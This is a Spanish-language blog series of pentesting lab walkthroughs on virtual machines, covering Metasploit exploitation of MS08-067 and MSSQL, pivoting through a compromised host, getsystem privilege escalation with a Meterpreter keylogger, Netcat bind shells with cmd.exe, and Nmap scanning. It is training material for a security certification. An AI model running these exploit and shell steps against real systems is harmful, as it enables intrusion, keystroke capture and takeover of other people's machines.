Aprendiendo a hacer ¡Pivoting!, Fase de Post-Explotación

Hola A todos!

Saludarlos primero y contarles que hoy vamos a ver como realizar una de las técnicas mas utilizadas en la fase de POST-EXPLOTACIÓN llamada Pivoting…

Como ya es habitual, primero veamos en un poco de teoría, definiendo a que se refiere eso de PIVOTING

Pivoting es la técnica utilizada por auditores de seguridad o delincuentes informáticos, para acceder a equipos pertenecientes a una red por medio de la explotación de una vulnerabilidad en uno de los host pertenecientes a dicha red.

Para este laboratorio, utilizaremos 4 maquinas virtuales, las cuales ya han sido utilizadas en post anteriores:

  1. Kali-Linux : Auditor ó Delincuente Informático
  2. Windows 2003 Server : Host vulnerable, Primera Victima.
  3. Windows 2008 Server : Host vulnerable, vicima secundaria (pivoting)
  4. Metasploitable : Host vulnerable, vicima secundaria (pivoting)

La arquitectura de la que simularíamos seria la siguiente:

Utilizariamos las diferentes interfaces de red que nos permite virtualizar vmware para simular una red WAN (192.168.1.0/24) y una red LAN (10.0.0.0/24).

Arq.png

A continuación dejo los pantallazos de las configuraciones de cada una de las maquinas virtuales, en las cuales utilizare una de las interfaz de red de Windows 2003 Server y la interfaz de Kali como Bridge (puente), las cuales simularan la red WAN, y para la segunda interfaz de Windows 2003, Windows 2008 y Metasploitable utilizare la red privada VMNET 2, la cual virtualizará una red privada entre dichos host.

1 Kali

Kali-Linux

2 2003

2003 Server

3 2008

2008 Server

4 metasploitable

Metasploitable

NOTA:Una vez iniciadas y configuradas las maquinas, recuerde realizar un ping entre las MV pertenecientes a los mismos segmentos de red para comprobar que su configuración fue exitosa.

Terminada la configuración, COMENCEMOS!

Primer Paso:

Asumiendo que ya realizamos un proceso de recolección de información, scanning y análisis de vulnerabilidades. Vamos a realizar, un proceso de explotación desde la MV atacante Kali-Linux a la MV victima 2003 Server por medio de su interfaz en modo bridge la cual simula la red WAN a la que esta conectada dicho dispositivo.

De la misma manera como se realizo en el post anterior ( ver aqui ), vamos a aprovecharnos de una vulnerabilidad de Windows 2003 Server utilizando el siguiente exploit:

exploit/windows/smb/ms08_067_netapi

Ademas, cargaremos un PAYLOAD que nos permitirá obtener una shell de Meterpreter. El Payload es:

windows/meterpreter/bind_tcp

Una vez cargados y configurados, realizamos el proceso de explotación.

4.png

Ejecutamos el comando #exploit.

Segundo Paso:

Cuando tengamos nuestra shell de meterpreter, comenzaremos el proceso de PIVOTING, el cual comienza analizando las interfaces de red que tiene el equipo en el cual acabamos de realizar la intrusión (2003 server), para esto utilizamos el comando:

meterpreter > ipconfig

5.png

Como podemos observar en la imagen anterior, este comando nos muestra la interfaz con dirección IP 192.168.1.79, la cual ya conociamos, puesto que fue por esta interfaz, por la cual realizamos el proceso de hack a esta maquina.

Importante, ademas nos muestra una interfaz con la dirección IP 10.0.0.1, lo cual nos indica que el host en el cual realizamos la intrusión esta conectado a otra red con dicha dirección ip, por lo cual, podríamos asumir que existe una segunda red 10.0.0.0/24, esta sera nuestra red objetivo.

Tercer Paso:

Teniendo claro los hallazgos del paso anterior vamos a realizar un Scanning sobre nuestra nueva red objetivo, para esto, no es posible utilizar NMAP,  ya que para esta herramienta es imposible alcanzar un segundo segmento de red, por lo tanto, utilizaremos una de las herramientas de METERPRETER, la cual nos permitirá ver que equipos se encuentran activos en dicha red por medio de un ARP Scanning, con el siguiente comando:

meterpreter > run arp_scanner -r «rango de IP’s»

6

En la imagen anterior vemos, que exsten dos (2) host ademas del que ya conociamos (10.0.0.1), esto nos indica nuestro nuevos objetivos.

Cuarto Paso:

IMPORTANTE.

tengamos en cuenta que no tenemos una conexión directa con el segmento de red 10.0.0.0, debemos tener un «canal» o un hilo de conexión, para lo cual utilizaremos la session de meterpreter que ya tenemos, este sera nuestro canal de conexión entre nosotros y la segunda red.

Para realizar este paso, de mantener dicha session de meterpreter, ejecutamos el comando que nos permitirá ejecutar la shell de meterpreter en segundo plano:

meterpreter > background

7.png

Para comprobar que la conexión se mantiene, ejecutamos el comando session, que nos permitira ver que sesiones tenemos abiertas.

meterpreter > session

8.png

Quinto Paso:

Ejecutar el comando route desde la msfconsole, nos permitirá conocer rutas definidas, adicionalmente con el comando route add, adicionamos una ruta, es decir un canal, para hacerlo debemos, debemos identificar la ID de la sessión, por la cual queremos plantear nuestro canal, en la imagen anterior vemos que la sesión de meterpreter establecida tiene como id en número 4, entonces utilizamos el siguiente comando para definir una ruta o canal.

meterpreter > route add «segmente de red» «mascara de red» «id de sesion»

9.png

En la imagen anterior vemos como se añadió de manera exitosa la nueva ruta, la cual tiene como segmento de red 10.0.0.0 (Red Objetivo), mascara de red 255.255.255.0 (mascara de red objetivo) y el ID 4, de la sesión de meterpreter que ya habíamos obtenido.

Hecho esto, podemos utilizar el comando route print, para confirmar que la ruta se creo, este comando nos permite visualizar las rutas que se encuentran activas.

Sexto Paso:

Ahora que tenemos nuestro canal activo, utilizaremos un modulo auxiliar de metasploit, el cual nos permitirá realizar el scanning de puertos en los host que se encuentran activos en la segunda red, el modulo auxiliar a utilizar es:

auxiliary/scanner/portscan/tcp

NOTA: Si desea estudiar o ver como funciona un modulo auxiliar aquí lo puede observar.

El modulo auxiliar sera configurado de la siguiente manera:

10.png

Tenga encuenta que en RHOST del modulo auxiliar la dirección IP asignada, hace parte de uno de los HOST activos, dentro de la nueva red, esto se obtuvo realizando el arp_scanner en uno de los pasos anteriores.

Hecho esto, ejecutamos el modulo auxiliar con el comando #run

11

Como podemos observar, el scanning de puertos muestra que los puertos 23,22,3306,445,5900 se encuentran abiertos.

Septimo Paso:

Ya casi finalizamos nuestro proceso de Pivoting, ahora teniendo en cuenta nuestros puertos vulnerables, utilizaremos el exploit:

exploit/windows/mssql/mssql_payload

y el Payload:

windows/meterpreter/bind_tcp

Configuración:

12.png

utilizamos el comando exploit, y obtenemos nuestra shell de meterpreter en nuestra nueva maquina objetivo.

13.png

Para finalizar nuestro proceso de Pivoting, ejecutamos el comando shell

meterpreter > shell

14.png

Finalmente, obtuvimos una shell, es decir una consola cmd, de Windows Server 2008.

FIN

De esta manera, evidenciamos el proceso de pivoting, haciendo el proceso de intrusión a la maquina Windows 2003, a través de tu red WAN, siguiendo la búsqueda de nuevos objetivos a través de sus otras interfaces de red. Llegando a un nuevo objetivo Windows Server 2008,y realizando la intrusión.

De esta manera finalizamos nuestro post…

Espero que les halla gustado, cualquier inquietud, me preguntan! por medio de comentarios…

Saludos!

Neox!

Hackdios XD

POST-EXPLOTACION, Ganando Privilegios METASPLOIT-Meterpreter

metasploit.png

 

Holaa a todoos…

No sin antes desearles un excelente año 2016 lleno de hackers, ciberseguridad, conocimiento y desarrollo de sus habilidades….

Comencemos con nuestro primer post de 2016, en el cual, estudiaremos o veremos como escalar privilegios utilizando nuestra framework de explotación METASPLOIT, especificamente una shell de METERPRETER.

Sin mas charla.. comencemos…

En post anteriores ya explique lo que es la consola de metasploit y otros términos a tratar en este post… Sin embargo, empecemos definiendo que es METERPRETER

«Meterpreter, abreviatura de Meta-intérprete es una carga útil avanzada  que se incluye en el Metasploit Framework. Su propósito es proporcionar complejas características y avanzadas que de otro modo sería tedioso para implementar puramente  en el montaje. La forma en que se logra esto es, al permitir a los desarrolladores a  escribir sus propias extensiones en forma de objetos compartidos (DLL) los archivos que pueden ser cargados y se inyecta en un proceso que se ejecuta en un equipo de destino después se ha producido la explotación. Meterpreter y todas las extensiones que las cargas
se ejecutan por completo de la memoria y nunca tocan el disco, lo que les  ejecuten bajo el radar de detección de antivirus estándar»

Para este Laboratorio utilizaremos dos maquinas virtuales, Kali-Linux y Windows Server 2003. Las cuales, serán utilizadas y configuradas como ya ha sido explicado en otros post. Nuestro Kali simulara el «atacante» o pentester y nuestro Windows la Victima.

Escalando Privilegios 

Cabe aclara que el objetivo es obtener una shell de Meterpreter en nuestra victima, el exploit que utilizaremos solo es uno de los tantos que nos lo permite hacer.

utilizaremos el exploit llamado: mssql_payload

ubicación: exploit/windows/mssql/mssql_payload

y cargaremos el Payload de Meterpreter utilizando el BIND_TCP

(Para cargar un PAYLOAD se utiliza el comando set PAYLOAD «ruta»)

ubicación: windows/meterpreter/bind_tcp

una vez realizado las configuraciones del exploit y payload (RHOST-RPORT-LHOST-LPORT) realizamos el proceso de explotación (#exploit)

Nota: Si no sabe utilizar configurar un exploit vea aqui como se hace.

Aquí vemos un pantallazo de la configuración realizada:

1.png

Una vez configurada, ejecutamos el comando exploit. para obtener nuestra shell meterprete.

«recuerde que antes se debió de haber realizado un proceso de recoleccion de informacion, scanning ya explicados anteriormente.»

2.png

Una vez realizada la intrusión, realizaremos el proceso de identificador del proceso y los privilegios con que se ha logrado penetrar el sistema.

utilizaremos los siguientes comandos:

meterpreter > getpid

meterpreter > getuid

getpid permitirá saber el proceso actual sobre el cual se esta ejecutando

getuid permitirá saber el usuario con el cual hemos entrado dentro del servidor y sus privilegios.

3.png

Para visualizar la falta de privilegios que tiene el usuario, trataremos de cargar un Keylogger, que es una de las tantas funcionalidades que tiene meterpreter con el siguiente comando:

meterpreter > run keylogrecorder

4

Una vez comprobado, debemos obtener ó escalar privilegios, para lo cual utilizaremos el siguiente comando:

meterpreter > getsystem

5.png

Una vez hecho esto, ya podemos ejecutar de nuevo keylogger, el cual almacenara las teclas pulsadas por el usuario.

6.png

para ver lo que capturamos, cerramos el keylogger y vamos a la siguiente ruta:

/root/.msf4/logs/scripts/keylogrecorder.

De esta manera llegamos al fin de nuestro Post…

Espero les guste a todos..

Feliz 2016…

Recuerden:

Target: Hack the world!

Un saludo, nos vemos

Neox!

Laboratorio Metasploit, Nessus, Nmap,UNIDOS! Exploits, msfconsole, módulos externos…

metasploit-logo.png

Hola de nuevo…

Para esta ocasión, quiero mostrarles algunas herramientas que tiene Metasploit, las cuales se complementan con archivos exportados desde Nessus o de Nmap.

Comencemos con el laboratorio,

Utilizaremos dos maquinas virtuales, una de Kali Linux (Analista, Atacante, etc…) y una de Windows Server 2003 (Victima, objetivo, cliente XD)

Comencemos…

MSFCONSOLE-NESSUS-NMAP

Primero, debemos colocar como ya he explicado en anteriores post, nuestras interfaces de red de las MV en modo Bridge (no es obligatorio, nat funciona).

Lo primero que debemos hacer es iniciar nuestro servicio de Postresql y Metasploit en Kali.

# services postgresql start

# services metasploit start

0.png

Después iniciamos nuestro framework de Metasploit o consola de metasploit

# msfconsole

1.png

Una vez adentro, validamos la conexión entre el servicio de postgresql y metasploit con el siguiente comando

msf > db_status

2.png

Ahora, comenzaremos con la combinación o unión de las diferentes herramientas que hemos venido utilizando:

NESSUS:

Una vez, realizamos el scanner de vulnerabilidades NESSUS a nuestro host victima, en la parte superior izquierda de nuestra herramienta nos aparecerá la opción de exportar, realizamos esta opción, señalando que deseamos que sea importando en un archivo con extensión .NESSUS

3.png

Una vez hecho esto utilizamos el comando db_import de la consola de metasploit seguido de la ruta del archivo:

msf > db_import «ruta de archivo»

4.png

Hecho esto, utilizando los comandos hosts, services, vulns, visualizamos lo que importamos en el paso anterior, a continuación…

hosts

5.png

En la imagen anterior podemos ver como el scanner que realizó NESSUS nos trajo como información el Nombre del Sistema operativo, entre otras.

services

6.png

En la imagen anterior vemos como el comando services nos muestra el estado de los puertos y el servicio que se esta ejecutado en cada uno de ellos, todo esto gracias al scanner realizadó por NESSUS.

vulns

7.png

Aquí vemos las múltiples, para este ejemplo, vulnerabilidades que fueron detectadas por NESSUS durante su ejecución.

NMAP

Para exportar el resultado de una scaning realizado por nmap utilizamos la opcion -oX «nombre de archivo».xml

#nmap «direccion ip objetivo» -oX «nombre_de_archivo».xml

A continuación vemos un ejemplo:

8.png

para el ejemplo anterior ante puesto al nombre del archivo, añadimos una ruta donde deseamos que fuese guardado dicho archivo (Desktop/Escritorio)

De la misma manera que fue importado para NESSUS lo hacemos para nmap

msf > db_import «ruta de archivo»

9.png

Posteriormente podemos realizar el mismo proceso utilizando los comandos hosts y services, para visualizar los resultados.

NOTA: Podemos realizar el proceso de scanning desde la consola de metasploit para ahorrarnos el proceso de importación, utilizando el siguiente comando:

msf> db_nmap «direccion(es) ip»

MANEJO DE MÓDULOS AUXILIARES DE METASPLOIT PARA REALIZAR DIFERENTES PROCESOS DE SCANNING:

Antes de comenzar, veamos que módulos auxiliares nos para scanning de puertos nos ofrece la consola de metasploit, utilizando el siguiente comando, veremos los módulos disponibles:

msf > search portscan

10.png

En muchas ocasiones o momentos es conveniente o Útil, usar algunas herramientas automatizadas que nos brinda el framework de metasploit, a continuación usaremos los módulos de TCP y SYN Scan:

TCP Scan:

Para indicarle a la consola que modulo queremos utilizar, con el comando use seguido de la ruta del archivo vista en la imagen anterior, es decir, la busqueda realizada:

msf > use «ruta de auxiliar/exploit/payload»

11.png

para visualizar las opciones o parametros que se le deben pasar al auxiliar para poder ser ejecutado, utilizaremos el comando:

msf auxiliary(tcp) > show options

12.png

En la imagen anterior vemos los diferentes parametros que debemos/podemos añadir o modificar en los que vienen predefinidos para ejecutar nuestro auxiliar, los mas importantes para nuestro caso seran:

  • RHOST: Dirección IP del Host objetivo.
  • PORTS: Puerto o Rango de puertos a  los cuales se les realizara el scanning (default 1-10000)

En nuestro ejemplo, el único parametro que hace falta es el RHOST, para asignar algun parametro en nuestros auxiliares y en general en las diferentes herramientas (Exploits, Payloads) se hace de la siguiente manera:

msf auxiliar/exploit/payload > set «parametro» «valor_a_asignar»

a continuación asignamos el RHOST a nuestro auxiliar:

13.png

En la imagen anterior vemos como utilizamos el comando de asignación del RHOST, posteriormente muestro nuevamente el show options en el cual vemos que ya fue asignad.

Despues de realizado este proceso procedemos a ejecutar el auxiliar con el comando run

msf auxiliary(tcp) > run

14.png

En la ejecución del auxiliar, vemos como realiza el scanning de los puertos en nuestro host objetivo.

SYN Scan:

Para este ejemplo se trabaja exactamente igual que el anterior, únicamente cambia la ruta del auxiliar, para salir del auxiliar anterior, utilizamos el comando back, luego utilizamos el comando use «ruta de auxiliar»,

msf > use auxiliary/scanner/portscan/syn

Despues de asignar los parametros requeridos ejecutamos el comando run para ejecutar nuestro auxiliar:

15.png

IMPORTANTE:

Recordemos que aunque parezca obtener los mismos resultados, en un post anterior, explique que el SYN Scan es menos «ruidoso» dentro de una red, a comparación del TCP Scan, esto nos ayuda a no ser detectado por diferentes dispositivos encargados de esta tarea.

Ejecutando nuestro Primer Exploit…

A continuación, realizaremos la ejecución de un exploit, pero ¿ como saber cual usar ?… Bueno, para esto las fases anteriores de scanning y de identificación de vulnerabilidades… nos habran dado una guia, para saber que camino tomar… Para neustro ejemplo, NESSUS nos indico que nuestro host victima cuenta con la siguiente vulnerabilidad:

16.png

Para ejecutar el exploit que deseamos utilizar, primero debemos realizar las configuraciones del mismo, asi como se realizó para correr el auxiliar en el ejemplo anterior.

Como vemos en la imagen anterior Existe una vulneravilidad que se denota como MS08-067, para lo cual buscaremos utilizando el comando search de la consola de metasploit dicho nombre.

17.png

Como podemos observar, la busqueda nos muestra que existe un exploit para esta vulnerabilidad, nos indica la ruta en la cual se encuentra el exploit, de la misma manera que se trabajo para los auxiliares, con el comando use mas la ruta del exploit, indicamos cual deseamos utilizar:

msf > use exploit/windows/smb/ms08_067_netapi

18.png

Siguiendo el ejemplo realizado con el auxiliar, mostraremos las opciones o parametros que se deben configurar para ejecutar nuestro exploit, show option.

19.png

Como vemos nos hace falta asignar el RHOST a la configuración del exploit, también podríamos realizar el cambio del puerto el cual va a ser atacado, sin embargo, como vimos en la imagen de NESSUS, la vulnerabilidad esta en el puerto 445.

Procederemos a añadir el RHOST y posteriormente ejecutaremos los siguientes comandos que nos serán de mucha utilidad.

show targets

> show targets

Este comando nos muestra una lista de los Sistemas Operativos, que son vulnerables a este exploit.

info

> info

Nos permite obtener una descripción e información relevante del exploit, como por ejemplo el creador, las opciones, targets, entre otros…

 show payloads

> show payloads

Nos muestra en pantalla los codigos de tipo PAYLOAD que pueden ser usados para este exploit

Asignando un Payload.

Antes de continuar, definamos o conozcamos primero que es un payload, esta definición fue dadá por Juan David Berrio, directo de DSTEAM, academia y empresa que dicta diferentes certificaciones de Seguridad Informática, el laboratorio que estan realizando hace parte del curso de el… es genial, se los recominedo… visitenlo…

Un Payload, es la porción de código en el exploit que tiene como objetivo ejecutar una acción concreta y maliciosa en el sistema victima. En la mayoría de los casos el código Payload se usa para realizar una conexión entre el atacante y la victima. Algunos ejemplos de un Payload, seria la conexión a la victima por medio de una Shell de comandos como cmd.exe por ejemplo, o conectarse a la victima usando el protocolo VNC. Un Payload también puede verse representado como una serie de acciones o comandos que se ejecutan en el sistema victima, y que causan una denegación de servicios.

20.png

dicho y visto lo anterior, una vez ejecutamos el comando que nos muestra los payloads disponibles para este exploit, utilizaremos el payload que nos permitirá obtener una terminal CMD de nuestro host objetivo.

El exploit a utilizar será: windows/shell/bind_tcp

Para asignar un payload a nuestro exploit, se hace de la misma manera que hemos venido trabajando las asignaciones:

set PAYLOAD «ruta_payload»

21.png

posteriormente, ejecutaremos NUEVAMENTE el comando show options, la diferencia será, que esta vez nos mostrará los parámetros del exploit que habíamos configurado anteriormente MAS los que debemos configurar en el PAYLOAD, veamos:

22.png

Como podemos ver en la imagen anterior, visualizamos los parametros pendientes del EXPLOIT y del PAYLOAD respectivamente.

Dicho todo esto, tenemos listo nuestro EXPLOIT…

Para ejecutar dicho exploit utilizamos el comando… exploit

msf «exploit» > exploit

23.png

Ejecutado el exploit, podemos ver en la imagen anterior que obtenemos como resultado el prompt : C:\WINDOWS\system32> El cual es de la consola o terminal CMD del windows victima…

Lo que se haga de aqui en adelante….

Responsabilidad de cada uno XD…

FINES ACADÉMICOS… EXCLUSI….VAMENTE….

De esta manera terminamos… nuestro laboratorio…

Espero les guste…

Saludos…

Neox

Laboratorio Netcat… ¡Navaja Suiza!, Pentesting

0 portada.png

Hola a todos..

Seguimos con nuestros ejercicios Practicos, en los cuales quiero compartir la solución de algunos talleres o laboratorios que realizó…

Esta vez quiero enseñarles a cerca de la herramienta Netcat… Como es costumbre, un poco de teoría…

Conocida como la «navaja suiza», netcat es una excelente herramienta que nos apoya en las  labores de Hacking o Pentesting, desarrollada inicialmente en 1996, ha venido evolucionando con el correr del tiempo, inicialmente fue escrita para UNIX, ahora, tenemos la opción de utilizarla en diferentes plataformas.

Para dar idea de porque «Navaja Suiza»… Sirve para realizar muchisimas cosas:

  • Abrir puertos TCP y trabajar sobre ellos
  • Permite conexiones de tipo Cliente/Servidor
  • Hacer Scanning de Puertos
  • Realizar procesos de Banner Grabbing
  • Puertas Traseras (Backdoors)
  • Transferir Archivos
  • Re-direccionar Puertos
  • etc…

Laboratorio:

En esta oportunidad utilizaremos dos MV, una de Kali Linux y otra de Windows 2003 Server. Estas maquinas se trabajarán de manera virtualizada, para evitar hacer daños, dichas maquinas deben estar bajo el mismo segmento de red por supuesto

Lo primero que debemos hacer sera copiar el archivo nc.exe (herramienta netcat), en la MV de windows server, dicho ejecutable lo encontraremos en Kali –> /usr/share/windows-binaries

Primer paso.

Comencemos conociendo un poco la herramienta desde la Terminal de Kali, ejecutando el siguiente comando:

nc -h

El cual nos permitirá visualizar todas las opciones que nos brinda Netcat.

1 nc-h

En el laboratorio de NMAP, visualizamos algunos puertos abiertos de la MV Windows Server 2003, sin embargo aquí ejecuto un SYN Scan, nuevamente para visualizar que puertos están abiertos de nuestro Windows Server 2003

2 nmap.png

Segundo Paso:

Utilicemos Netcat para conectarse a un servicio TCP que se encuentra abierto en nuestro objetivo, como vemos en la imagen anterior el puerto 21/TCP de la siguiente manera:

nc -vn «direccion IP» «numero de puerto»

3 nc-vn.png

Como pudimos ver en la imagen anterior abrimos una sesion FTP, utilizando la herramienta Netcat.

Tercer Paso:

Abramos un puerto con Netcat, utilizamos nuestra herramienta para poner un puerto en escucha, para lograr esta tarea debemos ejecutar el siguiente comando en nuestro CMD de Windows 2003

nc -lvp «puerto que deseamos abrir/en escucha»

4 nc -lvp port.png

Como vemos en la imagen anterior, abrimos el puerto 447 de nuestro Windows Server.

Ahora, desde nuestra maquina Kali, ejecutaremos el siguiente comando:

nc -v «direccion IP» «puerto»

5 nc -v.png

La conexión realizada anterior mente se puede interpretar como una conexion de tipo Bridge (Cliente-Servidor), ya que no hay dispositivos de tipo router o Firewall entre las conexiones.

Para probar esta conexión, veamos un «chat» entre dichas maquinas

6 chat.png

7 chat.png

Cuarto Paso:

Utilicemos Netcat para realizar una transferencia de archivos entre nuestas MV’s, sigamos los siguientes pasos:

En nuestra maquina de Kali, ejecutamos el siguiente comando:

nc -lvp «puerto» > output.txt

8 archivos1.png

Ahora desde Windows Server, creamos un archivo con el siguiente comando.

echo «contenido de archivo» > «nombre de archivo»

9 archivos2.png

Posteriormente ejecutamos el siguiente comando en Windows:

nc -vv «Direccion IP» «puerto» < «nombre de archivo»

10 archivos3.png

Después de unos segundos el comando anterior finaliza su ejecución y ahora podemos ver el contenido del archivo texto_server.txt en nuestro archivo output.txt

11 archivos4.png

Quinto Paso:

Realizamos el proceso de Scanning de puertos con NETCAT, para realizar esta tarea debemos ejecutar los siguientes comandos, teniendo en cuenta que al comienzo del post realizamos un scanning con NMAP, ahora veamolo con NETCAT. Ejecute lo siguiente:

nc -v -n -r -z «Direccion IP» «puerto (s)»

12 nc nmap.png

De esta manera realizamos un Scanning de puertos con Netcat.

Sexto Paso:

Continuemos haciendo una arministración remota (Conexión Directa -BIND) con Netcat, sigamos los siguientes pasos

Ejecutamos el siguiente comando en el cmd de Windows Server:

nc -lvvp «puerto» -c cmd.exe

13 bind_remoto.png

Posteriormente, desde la terminal de linux ejecutamos lo siguiente

nc -vnn»Direccion IP Windows Server» «puerto»

14 bind_remoto.png

En la imagen anterior, vemos como desde la Terminal de Kali, logramos abrir un CMD en Kali

De esta manera llegamos al final de nuestro POST acerca de la Herramienta NETCAT. Recuerden que es una herramienta con muchos mas funcionamientos. Recomiendo revisarla…

Saludos…

Neox!

GBH…

 

Laboratorio NMAP Básico, Fase Scanning Pentesting,Vmware, Wireshark.

Hola de nuevo a tod@s

Disculpen ausentarme un poco… 19

Esta vez vengo con la idea de que trabajemos en un laboratorio para practicar los diferentes tipos de Scanning que podemos realizar con NMAP. Para este laboratorio, vamos a requerir de maquinas virtuales que actuaran en diferentes «bandos», utilizaremos la MV de Kali-Linux para realizar el scanning, y utilizaremos un Windows 2003 Server, Metaexploitable2 y Windows 7… Todas estas maquinas se trabajaran desde Vmware, las cuales estarán configuradas con su interfaz de red en NAT.

Sin mucho mas que escribir, comencemos…

La fase de Scanning es la segunda fase del Pentesting. Despues de  la fase de escaneo de puertos:

Nota: La dirección IP que le fue asignada a mi MV de Kali fue la: 192.168.23.129, lo cual quiere decir que trabajaremos sobre el segmento de red: 192.168.23.0/24,

1.Ping Sweep:

Lo primero que debemos realizar en nuestra fase de scanning, es un ping sweep, el cual nos permitirá identificar los host que se encuentren activos en la red a la cual estoy conectado.

el comando que utilizaremos para realizar nuestro ping sweep, sera:

# nmap -sP «segmento de red»

La opcion -sP nos permite hacer un PING desde la 192.168.23.1, hasta la 192.168.23.254.

ping_sweep

En la imagen anterior vemos, como los host que respondieron a nuestro ping sweep, lo cual nos indica que están activos en nuestra red.

Host Activos:

  • 192.168.23.2
  • 192.168.23.130
  • 192.168.23.131
  • 192.168.23.254
  • 162.168.23.129 (propio)

2. Port Scanning / Escaneo de Puertos

Tiene como propósito lo siguiente:

  • Escaneo de Puertos: Se realiza el envió de paquetes a un host, para identificar el estado de los puertos TCP y UDP
    • Posibles estados de un puerto: Abierto-Cerrado-Filtrado.
  • Identificar Servicios por Puerto: Identificar vulnerabilidades en los servicios que se ejecutan sobre puertos abiertos.
  • Sistema Operativo de Host: Información importante acerca de nuestra «victima», posibles vulnerabilidades.

Veamos un ejemplo, con uno de los host que encontramos activos en nuestro ping sweep.

# nmap «direccion ip objetivo»

El anterior comando nos permitirá analizar el estado de los puertos de la maquina objetivo.

2nmap.png

En la imagen anterior vemos como el comando nos despliega la lista de puertos que se encuentran abiertos en nuestro host objetivo (OJO: Abierto no quiere decir que sea vulnerable).

De la manera anterior podemos, evaluar el estado de los puertos de diferentes dispositivos, no necesariamente PC. Switch, Routers, etc.

Para la imagen anterior, vemos que el puerto 80 (http), se encuentra abierto, lo cual implica que si ingresamos en nuestro navegador la direccion ip de nuestro host objetivo, deberia desplegarnos algo… veamos..

380.htto.png

Ya de esta manera, podemos evidenciar que lo que esta ejecutandose en nuestro host objetivo, en su puerto 80,  un servidor WEB llamado XAMPP en su versión para WINDOWS, lo cual nos da el SO que se encuentra instalado en nuestro Host objetivo.

Vemos tambien los servicios que estan ejecutanse en cada uno de los puertos que se encuentran abiertos.

3.Versiones

El siguiente comando nos permitira conocer la version del servicio que se esta ejecutando en dicho puerto:

# nmap -sV «direccion ip objetivo»

Veamos a continuación:

4 -sV

Vemos la versión de los servicios que se estan ejecutando, esta información es de mucha utilidad, ya que durante nuestra fase de explotación, encontraremos vulnerabilidades en algunas VERSIONES de diferentes servicios.

4. UDP Scanning

Los anteriores comandos los utilizamos para realizar el scanning de los puertos TCP de nuestro host objetivo, ahora veamos el comanto utilizado para scanear los puertos UDP

# nmap -sU «direccion ip objetivo»

Veamos…

5 udp.png

En la imagen anterior vemos el estado y los servicios que se estan ejecutando sobre los puertos UDP del host.

Otras opciones

-O: Este comando nos permite tratar de reconocer el Sistema Operativo que se encuentra instalado en nuestra Host Objetivo.

# nmap -O «direccion ip objetivo»

-P: Este comando nos permite indicar un puerto o un rango de puertos que deseamos escanear

# nmap -p»numero de puerto» «direccion ip objetivo»

5. Técnicas de explotación de puertos

Nota: Recomiendo leer un poco acerca del three way handshake, antes de continuar con lo siguiente.

5.1 TCP Connect Scan: Se llama de esta manera, puesto que implementa una llamada al sistema de tipo Connect, para confirmar el estado del puerto. Esta técnica es muy ruidosa, lo cual hace que pueda ser detectada por dispositivos como IDS o Firewall. Sin embargo, es muy efectiva, es decir sus resultados casi siempre son acertados.

TCP Connect: Puerto Cerrado:

6 tcp_connect_Close.png

TCP Connect: Puerto Abierto:

7 tcp_connect_Openpng.png

 

Para los ejemplos mostrare, el comando y la captura en Wireshark:

Comando:

# nmap -sT «direccion ip objetivo» «numero de puerto»

Puerto Cerrado

Veamos de manera practica lo descrito en las imágenes, lo anterior, describe que si el puerto al cual enviamos el Paquete SYN, se encuentra cerrado el responderá con un RST, lo cual cerrara el canal entre ambos host.

El puerto 8080, se encuentra cerrado en este host, como podemos observar a continuación:

8 tcpConnect close.png

Ahora vemos la respuesta del host en Wireshark

9 tcpConnect close Wireshark

Puerto Abierto

En la imagen en la cual describen el funcionamiento de TCP Connect se muestra la respuesta que tendra el host en los puertos abiertos veamos, como se visualiza en Wireshark, dicha respuesta.

10 tcpConnect open Wireshark.png

5.1 TCP SYN Scan: Se envía al objetivo un paquete de inicio de conexión de tipo SYN, Si se recibe como respuesta un RST/ACK, significa que no existe ningún servicio que este activo en este puerto. Diferente es si se recibe un SYN/ACK, esto nos confirma que hay un servicio ejecutandose en el puerto, si este es el caso, se enviará por parte del atacante un paquete RST/ASK para no establecer conexión y no ser registrado por el SO.

Esta técnica no es tan ruidosa, ya que no culmina el proceso de intercambio de tres vías, de esta manera, algunos dispositivos como Firewalls y IDS, no la registraran.

TCP SYN Scan, Puerto Cerrado:

11 SYN scan close.png

TCP SYN Scan, Puerto Abierto:

12 SYN scan open.png

 

Veamos ahora de manera practica, lo descrito en las imágenes anteriores:

Comando:

# nmap -sS «direccion ip objetivo» «numero de puerto»

Puerto Cerrado

En los descrito en la imagen, informa que si el puerto se encuentra cerrado, una vez el atacante envié la trama SYN, el host objetivo responderá con un RST, finalizando la conexión.

13 SYN scan close Kali.png

Ahora vemos la respuesta del host en Wireshark

13 SYN scan close Wireshark

Puerto Abierto

Siguiendo la imagen descrita anteriormente, el host objetivo, responde con una trama SYN/ACK, a la cual se responde con un RST para no culminar el intercambio y evitar ser detectado.

15 SYN scan open Kali.png

y en Wireshark…

16 SYN scan open Wireshark.png

De esta manera finalizamos el post de hoy… Tengo pendiente realizar otro laboratorio de Scannig y de Análisis de vulnerabilidades…

Esten pendientes por favor…

Un Saludo…

NEOX! (me)

Introducción Linux, Kali, comandos básicos Terminal, directorios….

Hola a tod@s….

Contarles que comencé el proceso de certificación CODSP (Certified Offensive and Defensive Security Professional), El cual es dictado por la academia DSTEAM, aqui les dejo la pagina por si quieren mas información, en primer lugar, quiero contarles que la metodología utilizada durante el proceso es muy buena. Esta diseñada para que personas que tienen poco o mucho conocimiento en el tema, la realicen.

Estaré mostrando todas las actividades, talleres, y diferentes retos que se van a realizar durante el proceso de certificación, no importa si son introductorios o complicados.

Como parte del proceso, están los conocimientos básicos en infraestructura y diferentes temas, de los que se deben conocer, para todas las personas que esten intentando hacer parte de esta cultura, de la cual jamas podrán salir, aquí les quiero mostrar cosas básicas que se deben conocer, empecemos por el Sistema Operativo mas utilizado y conocido en esta comunidad, en esta cultura, KALI LINUX (descarga aquí:

Kali 1.0

kali1

Kali 2.0

kali2

Kali Linux trae preinstalados más de 600 programas incluyendo Nmap (escanner de puertos), Wireshark (sniffer), John the Ripper (crackeador de passwords) y la suite Aircrack-ng (software para pruebas de seguridad en redes inalámbricas). Kali puede ser usado desde un Live CD, live-usb y también puede ser instalada como sistema operativo principal (host).

No quiere decir que no existan otras distribuciones para auditorias de seguridad, sin embargo, el proyecto KALI  y su historia, lo ha hecho uno de los mas utilizados en esta comunidad.


Terminal:

terminal

